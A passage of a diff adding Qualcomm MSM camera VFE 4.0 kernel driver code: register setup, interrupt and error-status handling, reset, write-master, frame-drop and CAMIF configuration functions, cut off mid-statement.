vfe_dev->pdev->id); +bus_scale_register_failed: + return rc; +} + +static void msm_vfe40_release_hardware(struct vfe_device *vfe_dev) +{ + free_irq(vfe_dev->vfe_irq->start, vfe_dev); + tasklet_kill(&vfe_dev->vfe_tasklet); + iounmap(vfe_dev->vfe_vbif_base); + iounmap(vfe_dev->vfe_base); + msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, + vfe_dev->vfe_clk, vfe_dev->num_clk, 0); + regulator_disable(vfe_dev->fs_vfe); + msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); +} + +static void msm_vfe40_init_hardware_reg(struct vfe_device *vfe_dev) +{ + msm_vfe40_init_qos_parms(vfe_dev); + msm_vfe40_init_vbif_parms(vfe_dev); + /* CGC_OVERRIDE */ + msm_camera_io_w(0x3FFFFFFF, vfe_dev->vfe_base + 0x14); + msm_camera_io_w(0xC001FF7F, vfe_dev->vfe_base + 0x974); + /* BUS_CFG */ + msm_camera_io_w(0x10000001, vfe_dev->vfe_base + 0x50); + msm_camera_io_w(0xE00000FB, vfe_dev->vfe_base + 0x28); + msm_camera_io_w_mb(0xFEFFFFFF, vfe_dev->vfe_base + 0x2C); + msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x30); + msm_camera_io_w_mb(0xFEFFFFFF, vfe_dev->vfe_base + 0x34); + msm_camera_io_w(0x64, vfe_dev->vfe_base + 0x318); + msm_camera_io_w(vfe_dev->stats_data.stats_mask, + vfe_dev->vfe_base + 0x44); + +} + +static void msm_vfe40_process_reset_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1) +{ + if (irq_status0 & (1 << 31)) + complete(&vfe_dev->reset_complete); +} + +static void msm_vfe40_process_halt_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1) +{ + if (irq_status1 & (1 << 8)) + complete(&vfe_dev->halt_complete); +} + +static void msm_vfe40_process_camif_irq(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts) +{ + int cnt; + + if (!(irq_status0 & 0xF)) + return; + + if (irq_status0 & (1 << 0)) { + ISP_DBG("%s: SOF IRQ\n", __func__); + vfe_dev->hw_info->vfe_ops.core_ops.vbif_clear_counters(vfe_dev); + cnt = vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count; + if (cnt > 0) { + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); + if (vfe_dev->axi_data.stream_update) + msm_isp_axi_stream_update(vfe_dev); + msm_isp_update_framedrop_reg(vfe_dev); + } + } + if (irq_status0 & (1 << 1)) + ISP_DBG("%s: EOF IRQ\n", __func__); + if (irq_status0 & (1 << 2)) + ISP_DBG("%s: EPOCH0 IRQ\n", __func__); + if (irq_status0 & (1 << 3)) { + ISP_DBG("%s: EPOCH1 IRQ\n", __func__); + if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION) { + vfe_dev->hw_info->vfe_ops.core_ops. + vbif_read_counters(vfe_dev); + } + } +} + +static void msm_vfe40_process_violation_status( + struct vfe_device *vfe_dev) +{ + uint32_t violation_status = vfe_dev->error_info.violation_status; + if (!violation_status) + return; + + if (violation_status & (1 << 0)) + pr_err("%s: camif violation\n", __func__); + if (violation_status & (1 << 1)) + pr_err("%s: black violation\n", __func__); + if (violation_status & (1 << 2)) + pr_err("%s: rolloff violation\n", __func__); + if (violation_status & (1 << 3)) + pr_err("%s: demux violation\n", __func__); + if (violation_status & (1 << 4)) + pr_err("%s: demosaic violation\n", __func__); + if (violation_status & (1 << 5)) + pr_err("%s: wb violation\n", __func__); + if (violation_status & (1 << 6)) + pr_err("%s: clf violation\n", __func__); + if (violation_status & (1 << 7)) + pr_err("%s: color correct violation\n", __func__); + if (violation_status & (1 << 8)) + pr_err("%s: rgb lut violation\n", __func__); + if (violation_status & (1 << 9)) + pr_err("%s: la violation\n", __func__); + if (violation_status & (1 << 10)) + pr_err("%s: chroma enhance violation\n", __func__); + if (violation_status & (1 << 11)) + pr_err("%s: chroma supress mce violation\n", __func__); + if (violation_status & (1 << 12)) + pr_err("%s: skin enhance violation\n", __func__); + if (violation_status & (1 << 13)) + pr_err("%s: color tranform enc violation\n", __func__); + if (violation_status & (1 << 14)) + pr_err("%s: color tranform view violation\n", __func__); + if (violation_status & (1 << 15)) + pr_err("%s: scale enc y violation\n", __func__); + if (violation_status & (1 << 16)) + pr_err("%s: scale enc cbcr violation\n", __func__); + if (violation_status & (1 << 17)) + pr_err("%s: scale view y violation\n", __func__); + if (violation_status & (1 << 18)) + pr_err("%s: scale view cbcr violation\n", __func__); + if (violation_status & (1 << 19)) + pr_err("%s: asf enc violation\n", __func__); + if (violation_status & (1 << 20)) + pr_err("%s: asf view violation\n", __func__); + if (violation_status & (1 << 21)) + pr_err("%s: crop enc y violation\n", __func__); + if (violation_status & (1 << 22)) + pr_err("%s: crop enc cbcr violation\n", __func__); + if (violation_status & (1 << 23)) + pr_err("%s: crop view y violation\n", __func__); + if (violation_status & (1 << 24)) + pr_err("%s: crop view cbcr violation\n", __func__); + if (violation_status & (1 << 25)) + pr_err("%s: realign buf y violation\n", __func__); + if (violation_status & (1 << 26)) + pr_err("%s: realign buf cb violation\n", __func__); + if (violation_status & (1 << 27)) + pr_err("%s: realign buf cr violation\n", __func__); +} + +static void msm_vfe40_process_error_status(struct vfe_device *vfe_dev) +{ + uint32_t error_status1 = vfe_dev->error_info.error_mask1; + if (error_status1 & (1 << 0)) + pr_err_ratelimited("%s: camif error status: 0x%x\n", + __func__, vfe_dev->error_info.camif_status); + if (error_status1 & (1 << 1)) + pr_err_ratelimited("%s: stats bhist overwrite\n", __func__); + if (error_status1 & (1 << 2)) + pr_err_ratelimited("%s: stats cs overwrite\n", __func__); + if (error_status1 & (1 << 3)) + pr_err_ratelimited("%s: stats ihist overwrite\n", __func__); + if (error_status1 & (1 << 4)) + pr_err_ratelimited("%s: realign buf y overflow\n", __func__); + if (error_status1 & (1 << 5)) + pr_err_ratelimited("%s: realign buf cb overflow\n", __func__); + if (error_status1 & (1 << 6)) + pr_err_ratelimited("%s: realign buf cr overflow\n", __func__); + if (error_status1 & (1 << 7)) { + pr_err_ratelimited("%s: violation\n", __func__); + msm_vfe40_process_violation_status(vfe_dev); + } + if (error_status1 & (1 << 9)) { + vfe_dev->stats->imagemaster0_overflow++; + pr_err_ratelimited("%s: image master 0 bus overflow\n", + __func__); + } + if (error_status1 & (1 << 10)) { + vfe_dev->stats->imagemaster1_overflow++; + pr_err_ratelimited("%s: image master 1 bus overflow\n", + __func__); + } + if (error_status1 & (1 << 11)) { + vfe_dev->stats->imagemaster2_overflow++; + pr_err_ratelimited("%s: image master 2 bus overflow\n", + __func__); + } + if (error_status1 & (1 << 12)) { + vfe_dev->stats->imagemaster3_overflow++; + pr_err_ratelimited("%s: image master 3 bus overflow\n", + __func__); + } + if (error_status1 & (1 << 13)) { + vfe_dev->stats->imagemaster4_overflow++; + pr_err_ratelimited("%s: image master 4 bus overflow\n", + __func__); + } + if (error_status1 & (1 << 14)) { + vfe_dev->stats->imagemaster5_overflow++; + pr_err_ratelimited("%s: image master 5 bus overflow\n", + __func__); + } + if (error_status1 & (1 << 15)) { + vfe_dev->stats->imagemaster6_overflow++; + pr_err_ratelimited("%s: image master 6 bus overflow\n", + __func__); + } + if (error_status1 & (1 << 16)) { + vfe_dev->stats->be_overflow++; + pr_err_ratelimited("%s: status be bus overflow\n", __func__); + } + if (error_status1 & (1 << 17)) { + vfe_dev->stats->bg_overflow++; + pr_err_ratelimited("%s: status bg bus overflow\n", __func__); + } + if (error_status1 & (1 << 18)) { + vfe_dev->stats->bf_overflow++; + pr_err_ratelimited("%s: status bf bus overflow\n", __func__); + } + if (error_status1 & (1 << 19)) { + vfe_dev->stats->awb_overflow++; + pr_err_ratelimited("%s: status awb bus overflow\n", __func__); + } + if (error_status1 & (1 << 20)) { + vfe_dev->stats->rs_overflow++; + pr_err_ratelimited("%s: status rs bus overflow\n", __func__); + } + if (error_status1 & (1 << 21)) { + vfe_dev->stats->cs_overflow++; + pr_err_ratelimited("%s: status cs bus overflow\n", __func__); + } + if (error_status1 & (1 << 22)) { + vfe_dev->stats->ihist_overflow++; + pr_err_ratelimited("%s: status ihist bus overflow\n", __func__); + } + if (error_status1 & (1 << 23)) { + vfe_dev->stats->skinbhist_overflow++; + pr_err_ratelimited("%s: status skin bhist bus overflow\n", + __func__); + } +} + +static void msm_vfe40_read_irq_status(struct vfe_device *vfe_dev, + uint32_t *irq_status0, uint32_t *irq_status1) +{ + *irq_status0 = msm_camera_io_r(vfe_dev->vfe_base + 0x38); + *irq_status1 = msm_camera_io_r(vfe_dev->vfe_base + 0x3C); + /* + * Ignore composite 2/3 irq which is used for dual VFE only + */ + + if (*irq_status0 & 0x6000000) + *irq_status0 &= ~(0x18000000); + msm_camera_io_w(*irq_status0, vfe_dev->vfe_base + 0x30); + msm_camera_io_w(*irq_status1, vfe_dev->vfe_base + 0x34); + msm_camera_io_w_mb(1, vfe_dev->vfe_base + 0x24); + if (*irq_status0 & 0x18000000) { + pr_err_ratelimited("%s: Protection triggered\n", __func__); + *irq_status0 &= ~(0x18000000); + } + + if (*irq_status1 & (1 << 0)) + vfe_dev->error_info.camif_status = + msm_camera_io_r(vfe_dev->vfe_base + 0x31C); + + if (*irq_status1 & (1 << 7)) + vfe_dev->error_info.violation_status |= + msm_camera_io_r(vfe_dev->vfe_base + 0x48); + +} + +static void msm_vfe40_process_reg_update(struct vfe_device *vfe_dev, + uint32_t irq_status0, uint32_t irq_status1, + struct msm_isp_timestamp *ts) +{ + if (!(irq_status0 & 0xF0)) + return; + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); + if (irq_status0 & BIT(4)) + msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); + if (irq_status0 & BIT(5)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_0, ts); + if (irq_status0 & BIT(6)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_1, ts); + if (irq_status0 & BIT(7)) + msm_isp_sof_notify(vfe_dev, VFE_RAW_2, ts); + + if (vfe_dev->axi_data.stream_update) + msm_isp_axi_stream_update(vfe_dev); + if (atomic_read(&vfe_dev->stats_data.stats_update)) + msm_isp_stats_stream_update(vfe_dev); + if (atomic_read(&vfe_dev->axi_data.axi_cfg_update)) + msm_isp_axi_cfg_update(vfe_dev); + msm_isp_update_framedrop_reg(vfe_dev); + msm_isp_update_error_frame_count(vfe_dev); + + return; +} + +static void msm_vfe40_reg_update(struct vfe_device *vfe_dev) +{ + msm_camera_io_w_mb(0xF, vfe_dev->vfe_base + 0x378); +} + +static uint32_t msm_vfe40_reset_values[ISP_RST_MAX] = +{ + 0x1FF, /* ISP_RST_HARD reset everything */ + 0x1EF /* ISP_RST_SOFT all modules without registers */ +}; + + +static long msm_vfe40_reset_hardware(struct vfe_device *vfe_dev , + enum msm_isp_reset_type reset_type, uint32_t blocking) +{ + uint32_t rst_val; + long rc = 0; + if (reset_type >= ISP_RST_MAX) { + pr_err("%s: Error Invalid parameter\n", __func__); + reset_type = ISP_RST_HARD; + } + rst_val = msm_vfe40_reset_values[reset_type]; + if (blocking) { + init_completion(&vfe_dev->reset_complete); + msm_camera_io_w_mb(rst_val, vfe_dev->vfe_base + 0xC); + rc = wait_for_completion_timeout( + &vfe_dev->reset_complete, msecs_to_jiffies(50)); + } else { + msm_camera_io_w_mb(0x1EF, vfe_dev->vfe_base + 0xC); + } + return rc; +} + +static void msm_vfe40_axi_reload_wm( + struct vfe_device *vfe_dev, uint32_t reload_mask) +{ + msm_camera_io_w_mb(reload_mask, vfe_dev->vfe_base + 0x4C); +} + +static void msm_vfe40_axi_enable_wm(struct vfe_device *vfe_dev, + uint8_t wm_idx, uint8_t enable) +{ + uint32_t val; + val = msm_camera_io_r(vfe_dev->vfe_base + VFE40_WM_BASE(wm_idx)); + if (enable) + val |= 0x1; + else + val &= ~0x1; + msm_camera_io_w_mb(val, + vfe_dev->vfe_base + VFE40_WM_BASE(wm_idx)); +} + +static void msm_vfe40_axi_cfg_comp_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint32_t comp_mask, comp_mask_index = + stream_info->comp_mask_index; + uint32_t irq_mask; + + comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x40); + comp_mask &= ~(0x7F << (comp_mask_index * 8)); + comp_mask |= (axi_data->composite_info[comp_mask_index]. + stream_composite_mask << (comp_mask_index * 8)); + + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask |= 1 << (comp_mask_index + 25); + + /* + * For dual VFE, composite 2/3 interrupt is used to trigger + * microcontroller to update certain VFE registers + */ + if (stream_info->plane_cfg[0].plane_addr_offset && + stream_info->stream_src == PIX_VIEWFINDER) { + comp_mask |= (axi_data->composite_info[comp_mask_index]. + stream_composite_mask << 16); + irq_mask |= BIT(27); + } + + if (stream_info->plane_cfg[0].plane_addr_offset && + stream_info->stream_src == PIX_ENCODER) { + comp_mask |= (axi_data->composite_info[comp_mask_index]. + stream_composite_mask << 24); + irq_mask |= BIT(28); + } + + msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x40); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe40_axi_clear_comp_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint32_t comp_mask, comp_mask_index = stream_info->comp_mask_index; + uint32_t irq_mask; + + comp_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x40); + comp_mask &= ~(0x7F << (comp_mask_index * 8)); + + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask &= ~(1 << (comp_mask_index + 25)); + + if (stream_info->plane_cfg[0].plane_addr_offset && + stream_info->stream_src == PIX_VIEWFINDER) { + comp_mask &= ~(axi_data->composite_info[comp_mask_index]. + stream_composite_mask << 16); + irq_mask &= ~BIT(27); + } + + if (stream_info->plane_cfg[0].plane_addr_offset && + stream_info->stream_src == PIX_ENCODER) { + comp_mask &= ~(axi_data->composite_info[comp_mask_index]. + stream_composite_mask << 24); + irq_mask &= ~BIT(28); + } + + msm_camera_io_w(comp_mask, vfe_dev->vfe_base + 0x40); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe40_axi_cfg_wm_irq_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask |= 1 << (stream_info->wm[0] + 8); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe40_axi_clear_wm_irq_mask(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t irq_mask; + irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); + irq_mask &= ~(1 << (stream_info->wm[0] + 8)); + msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x28); +} + +static void msm_vfe40_init_vbif_cntrs(struct vfe_device *vfe_dev) +{ + switch (vfe_dev->vfe_hw_version) { + case VFE40_8916_VERSION: + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x320); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x320); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x324); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x324); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x328); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x328); + + msm_camera_io_w(0x15, vfe_dev->vfe_vbif_base + 0x340); + msm_camera_io_w(0x40, vfe_dev->vfe_vbif_base + 0x344); + msm_camera_io_w(0x78, vfe_dev->vfe_vbif_base + 0x348); + + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x300); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x304); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x308); + break; + default: + break; + } +} + +void msm_vfe40_vbif_clear_cnt(struct vfe_device *vfe_dev) +{ + switch (vfe_dev->vfe_hw_version) { + case VFE40_8916_VERSION: + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x320); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x320); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x324); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x324); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x328); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x328); + break; + default: + break; + } +} + +void msm_vfe40_vbif_read_cnt_epoch(struct vfe_device *vfe_dev) +{ + uint32_t vbif_cnt_0_l = 0; + uint32_t vbif_cnt_1_l = 0; + uint32_t vbif_cnt_2_l = 0; + struct msm_vbif_cntrs *vbif_cntrs = &vfe_dev->vbif_cntrs; + uint32_t session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; + + if (vfe_dev->axi_data.frame_id[session_id]%2 > 0) { + /*Disable counters before reading*/ + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x300); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x304); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x308); + /*Read counters*/ + vbif_cnt_0_l = msm_camera_io_r(vfe_dev->vfe_vbif_base + 0x360); + vbif_cnt_1_l = msm_camera_io_r(vfe_dev->vfe_vbif_base + 0x364); + vbif_cnt_2_l = msm_camera_io_r(vfe_dev->vfe_vbif_base + 0x368); + /*clear counters*/ + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x320); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x320); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x324); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x324); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x328); + msm_camera_io_w(0x0, vfe_dev->vfe_vbif_base + 0x328); + /*Enable counters*/ + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x300); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x304); + msm_camera_io_w(0x1, vfe_dev->vfe_vbif_base + 0x308); + + vbif_cntrs->total_vbif_cnt_2 += vbif_cnt_2_l; + vbif_cntrs->vfe_total_iter++; + + ISP_DBG("%s: VBIF cntr0 = %d, cntr1 = %d, cntr 2 = %d", + __func__, vbif_cnt_0_l, vbif_cnt_1_l, vbif_cnt_2_l); + + if ((vbif_cnt_2_l > 0) & (vbif_cntrs->previous_write_val > 0)) { + if ((vbif_cnt_2_l > (10 * + vbif_cntrs->previous_write_val)) + | (vbif_cnt_2_l > MAX_OUT_WRITES_LEVEL)) + vbif_cntrs->fb_err_lvl = 3; + else if (vbif_cnt_2_l > (5 * + vbif_cntrs->previous_write_val)) + vbif_cntrs->fb_err_lvl = 2; + else if (vbif_cnt_2_l > (2 * + (vbif_cntrs->previous_write_val))) + vbif_cntrs->fb_err_lvl = 1; + else + vbif_cntrs->fb_err_lvl = 0; + } + if ((vbif_cntrs->previous_write_val == 0) & + (vbif_cnt_2_l > 0)) { + vbif_cntrs->previous_write_val = vbif_cnt_2_l; + } + + if (vbif_cntrs->vfe_total_iter == MAX_NUM_FRAMES) { + vbif_cntrs->previous_write_val = + (vbif_cntrs->total_vbif_cnt_2)/MAX_NUM_FRAMES; + vbif_cntrs->vfe_total_iter = 0; + vbif_cntrs->total_vbif_cnt_2 = 0; + } + } +} + +static void msm_vfe40_cfg_framedrop(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t i, temp; + uint32_t framedrop_pattern = 0, framedrop_period = 0; + + if (stream_info->runtime_init_frame_drop == 0) { + framedrop_pattern = stream_info->framedrop_pattern; + framedrop_period = stream_info->framedrop_period; + } + + if (stream_info->stream_type == BURST_STREAM && + stream_info->runtime_burst_frame_count == 0) { + framedrop_pattern = 0; + framedrop_period = 0; + } + + for (i = 0; i < stream_info->num_planes; i++) { + msm_camera_io_w(framedrop_pattern, vfe_dev->vfe_base + + VFE40_WM_BASE(stream_info->wm[i]) + 0x1C); + temp = msm_camera_io_r(vfe_dev->vfe_base + + VFE40_WM_BASE(stream_info->wm[i]) + 0xC); + temp &= 0xFFFFFF83; + msm_camera_io_w(temp | framedrop_period << 2, + vfe_dev->vfe_base + VFE40_WM_BASE(stream_info->wm[i]) + 0xC); + } + + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x378); +} + +static void msm_vfe40_clear_framedrop(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + uint32_t i; + for (i = 0; i < stream_info->num_planes; i++) + msm_camera_io_w(0, vfe_dev->vfe_base + + VFE40_WM_BASE(stream_info->wm[i]) + 0x1C); +} + +static int32_t msm_vfe40_cfg_io_format(struct vfe_device *vfe_dev, + enum msm_vfe_axi_stream_src stream_src, uint32_t io_format) +{ + int bpp, bpp_reg = 0, pack_reg = 0; + enum msm_isp_pack_fmt pack_fmt = 0; + uint32_t io_format_reg; /*io format register bit*/ + bpp = msm_isp_get_bit_per_pixel(io_format); + if (bpp < 0) { + pr_err("%s:%d invalid io_format %d bpp %d", __func__, __LINE__, + io_format, bpp); + return -EINVAL; + } + + switch (bpp) { + case 8: + bpp_reg = 0; + break; + case 10: + bpp_reg = 1 << 0; + break; + case 12: + bpp_reg = 1 << 1; + break; + default: + pr_err("%s:%d invalid bpp %d", __func__, __LINE__, bpp); + return -EINVAL; + } + + if (stream_src == IDEAL_RAW) { + /*use io_format(v4l2_pix_fmt) to get pack format*/ + pack_fmt = msm_isp_get_pack_format(io_format); + switch (pack_fmt) { + case QCOM: + pack_reg = 0x0; + break; + case MIPI: + pack_reg = 0x1; + break; + case DPCM6: + pack_reg = 0x2; + break; + case DPCM8: + pack_reg = 0x3; + break; + case PLAIN8: + pack_reg = 0x4; + break; + case PLAIN16: + pack_reg = 0x5; + break; + default: + pr_err("%s: invalid pack fmt!\n", __func__); + return -EINVAL; + } + } + + io_format_reg = msm_camera_io_r(vfe_dev->vfe_base + 0x54); + switch (stream_src) { + case PIX_ENCODER: + case PIX_VIEWFINDER: + case CAMIF_RAW: + io_format_reg &= 0xFFFFCFFF; + io_format_reg |= bpp_reg << 12; + break; + case IDEAL_RAW: + io_format_reg &= 0xFFFFFFC8; + io_format_reg |= bpp_reg << 4 | pack_reg; + break; + case RDI_INTF_0: + case RDI_INTF_1: + case RDI_INTF_2: + default: + pr_err("%s: Invalid stream source\n", __func__); + return -EINVAL; + } + msm_camera_io_w(io_format_reg, vfe_dev->vfe_base + 0x54); + return 0; +} + +static void msm_vfe40_cfg_camif(struct vfe_device *vfe_dev, + struct msm_vfe_pix_cfg *pix_cfg) +{ + uint16_t first_pixel, last_pixel, first_line, last_line; + struct msm_vfe_camif_cfg *camif_cfg = &pix_cfg->camif_cfg; + uint32_t val; + + first_pixel = camif_cfg->first_pixel; + last_pixel = camif_cfg->last_pixel; + first_line = camif_cfg->first_line; + last_line = camif_cfg->last_line; + + msm_camera_io_w(pix_cfg->input_mux << 16 | pix_cfg->pixel_pattern, + vfe_dev->vfe_base + 0x1C); + + msm_camera_io_w(camif_cfg->lines_per_frame << 16 | + camif_cfg->pixels_per_line, vfe_dev->vfe_base + 0x300); + + msm_camera_io_w(first_pixel << 16 | last_pixel, + vfe_dev->vfe_base + 0x304); + + msm_camera_io_w(first_line << 16 | last_line, + vfe_dev->vfe_base + 0x308); + + msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x314); + + val = msm_camera_io_r(vfe_dev->vfe_base + 0x2E8); + val |= camif_cfg->camif_input; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x2E8); + + switch (pix_cfg->input_mux) { + case CAMIF: + val = 0x01; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F4); + break; + case TESTGEN: + val = 0x01; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x93C); + break; + case EXTERNAL_READ: + default: + pr_err("%s: not supported input_mux %d\n", + __func__, pix_cfg->input_mux); + break; + } +} + +static void msm_vfe40_update_camif_state(struct vfe_device *vfe_dev, + enum msm_isp_camif_update_state update_state) +{ + uint32_t val; + bool bus_en, vfe_en; + if (update_state == NO_UPDATE) + return; + + val = msm_camera_io_r(vfe_dev->vfe_base + 0x2F8); + if (update_state == ENABLE_CAMIF) { + bus_en = + ((vfe_dev->axi_data. + src_info[VFE_PIX_0].raw_stream_count > 0) ? 1 : 0); + vfe_en = + ((vfe_dev->axi_data. + src_info[VFE_PIX_0].pix_stream_count > 0) ? 1 : 0); + val &= 0xFFFFFF3F; + val = val | bus_en << 7 | vfe_en << 6; + msm_camera_io_w(val, vfe_dev->vfe_base + 0x2F8); + msm_camera_io_w_mb(0x4, vfe_dev->vfe_base + 0x2F4); + msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x2F4); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 1; + } else if (update_state == DISABLE_CAMIF) { + msm_camera_io_w_mb(0x0, vfe_dev->vfe_base + 0x2F4); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; + } else if (update_state == DISABLE_CAMIF_IMMEDIATELY) { + vfe_dev->ignore_error = 1; + msm_camera_io_w_mb(0x6, vfe_dev->vfe_base + 0x2F4); + vfe_dev->axi_data.src_info[VFE_PIX_0].active = 0; + vfe_dev->ignore_error = 0; + } +} + +static void msm_vfe40_cfg_rdi_reg( + struct vfe_device *vfe_dev, struct msm_vfe_rdi_cfg *rdi_cfg, + enum msm_vfe_input_src input_src) +{ + uint8_t rdi = input_src - VFE_RAW_0; + uint32_t rdi_reg_cfg; + rdi_reg_cfg = msm_camera_io_r( + vfe_dev->vfe_base + VFE40_RDI_BASE(0)); + rdi_reg_cfg &= ~(BIT(16 + rdi)); + rdi_reg_cfg |= rdi_cfg->frame_based << (16 + rdi); + msm_camera_io_w(rdi_reg_cfg, + vfe_dev->vfe_base + VFE40_RDI_BASE(0)); + + rdi_reg_cfg = msm_camera_io_r( + vfe_dev->vfe_base + VFE40_RDI_BASE(rdi)); + rdi_reg_cfg &= 0x70003; + rdi_reg_cfg |= (rdi * 3) << 28 | rdi_cfg->cid << 4 | 0x4; + msm_camera_io_w( + rdi_reg_cfg, vfe_dev->vfe_base + VFE40_RDI_BASE(rdi)); +} + +static void msm_vfe40_axi_cfg_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, + uint8_t plane_idx) +{ + uint32_t val; + struct msm_vfe_axi_shared_data *axi_data = + &vfe_dev->axi_data; + uint32_t burst_len = axi_data->burst_len; + + uint32_t wm_base = VFE40_WM_BASE(stream_info->wm[plane_idx]); + + if (!stream_info->frame_based) { + msm_camera_io_w(0x0, vfe_dev->vfe_base + wm_base); + /*WR_IMAGE_SIZE*/ + val = + ((msm_isp_cal_word_per_line( + stream_info->output_format, + stream_info->plane_cfg[plane_idx]. + output_width)+1)/2 - 1) << 16 | + (stream_info->plane_cfg[plane_idx]. + output_height - 1); + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); + + /*WR_BUFFER_CFG*/ + val = + msm_isp_cal_word_per_line(stream_info->output_format, + stream_info->plane_cfg[ + plane_idx].output_stride) << 16 | + (stream_info->plane_cfg[ + plane_idx].output_height - 1) << 4 | + burst_len; + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); + } else { + msm_camera_io_w(0x2, vfe_dev->vfe_base + wm_base); + val = + msm_isp_cal_word_per_line(stream_info->output_format, + stream_info->plane_cfg[ + plane_idx].output_width) << 16 | + (stream_info->plane_cfg[ + plane_idx].output_height - 1) << 4 | + burst_len; + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); + } + + /*WR_IRQ_SUBSAMPLE_PATTERN*/ + msm_camera_io_w(0xFFFFFFFF, + vfe_dev->vfe_base + wm_base + 0x20); + /* TD: Add IRQ subsample pattern */ + return; +} + +static void msm_vfe40_axi_clear_wm_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint8_t plane_idx) +{ + uint32_t val = 0; + uint32_t wm_base = VFE40_WM_BASE(stream_info->wm[plane_idx]); + /*WR_ADDR_CFG*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0xC); + /*WR_IMAGE_SIZE*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x14); + /*WR_BUFFER_CFG*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x18); + /*WR_IRQ_SUBSAMPLE_PATTERN*/ + msm_camera_io_w(val, vfe_dev->vfe_base + wm_base + 0x20); + return; +} + +static void msm_vfe40_axi_cfg_wm_xbar_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, + uint8_t plane_idx) +{ + struct msm_vfe_axi_plane_cfg *plane_cfg = + &stream_info->plane_cfg[plane_idx]; + uint8_t wm = stream_info->wm[plane_idx]; + uint32_t xbar_cfg = 0; + uint32_t xbar_reg_cfg = 0; + + switch (stream_info->stream_src) { + case PIX_ENCODER: + case PIX_VIEWFINDER: { + if (plane_cfg->output_plane_format != CRCB_PLANE && + plane_cfg->output_plane_format != CBCR_PLANE) { + /*SINGLE_STREAM_SEL*/ + xbar_cfg |= 